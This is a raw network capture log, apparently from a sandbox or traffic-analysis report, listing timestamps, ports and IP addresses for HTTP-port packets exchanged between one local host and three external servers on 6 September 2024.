Sep 6, 2024 08:17:06.903610945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903620958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.903620958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903631926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903639078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903642893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903656960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903675079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903675079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903727055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903736115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903744936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903752089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903755903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903767109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903773069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903779030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903789997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903793097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903808117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903817892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.903820038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.903836966 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904103994 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904140949 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904213905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904222965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904244900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904268980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904279947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904289961 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904290915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904305935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904321909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904331923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904333115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904333115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904341936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904366016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904371977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904381990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904392004 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904398918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904414892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904424906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904438972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904444933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.904470921 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904537916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.904603958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904654980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904686928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904697895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904710054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904721975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904731989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904736042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904747963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904755116 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904764891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904766083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904776096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904784918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904800892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904810905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904819012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904819012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904822111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904834032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904844999 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904851913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904860020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904870987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904885054 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904891014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904917955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904928923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904938936 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.904985905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.904997110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905006886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905009031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905056000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905056000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905060053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905071020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905086994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905097008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905111074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905124903 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905141115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905152082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905167103 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905199051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905214071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905225039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905231953 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905236959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905251980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905608892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905642986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905664921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905674934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905684948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905692101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905695915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905710936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905720949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905731916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905735970 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905754089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905754089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905816078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905827045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905837059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905837059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905864954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905865908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905865908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905881882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905886889 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905894041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905903101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905904055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905915976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905929089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905931950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905931950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905955076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905963898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.905982971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905982971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.905999899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906009912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906030893 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906079054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906105042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906131983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906141996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906167984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906193972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906274080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906331062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906341076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906358004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906424999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906435013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906445980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906451941 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906464100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906475067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906478882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906486988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906910896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906922102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906930923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906935930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906944990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906955957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.906970978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.906996965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.907001019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.907001019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.907007933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.907016993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.907167912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907179117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907188892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907195091 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.907226086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907237053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907243013 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907243967 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907248974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907262087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907277107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907277107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907279968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907290936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907300949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907305956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907314062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907325029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907326937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907351971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907372952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907383919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907401085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907452106 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907480001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907567978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907649994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907660961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907675028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907677889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907686949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907700062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907710075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907717943 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907717943 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907736063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907766104 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907788992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907860041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907870054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907881021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907886028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907911062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907912016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907924891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907933950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.907964945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.907964945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908062935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908077955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908088923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908096075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908098936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908112049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908113956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908123016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908133984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908148050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908153057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908153057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908159971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908169985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908186913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908186913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908255100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908257008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908267021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908277035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908288956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908302069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908313036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908346891 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908346891 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908377886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908389091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908404112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908416986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908427000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908437014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908451080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908468008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908478975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908484936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908484936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908499002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908520937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908520937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908528090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908539057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908554077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908565998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908591032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908615112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908631086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908641100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908643961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908654928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908678055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908745050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908756971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908767939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908772945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908778906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908791065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908797026 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908806086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908816099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908819914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908833981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908838034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908850908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908863068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908904076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908904076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908922911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908932924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908948898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908961058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908970118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908979893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908982038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.908991098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.908994913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909010887 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909024000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909034967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909044027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909046888 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909058094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909069061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909071922 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909091949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909137011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909148932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909157991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909163952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909188032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909188032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909209967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909235954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909257889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909267902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909277916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909290075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909303904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909331083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909343004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909353018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.909358025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.909379005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.910552025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.919421911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919445038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919456005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919533968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919544935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919553995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919562101 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919565916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919575930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919585943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919589996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919600964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919639111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919639111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919639111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919656038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919667006 CEST	80	49737	147.45.44.104	192.168.2.4
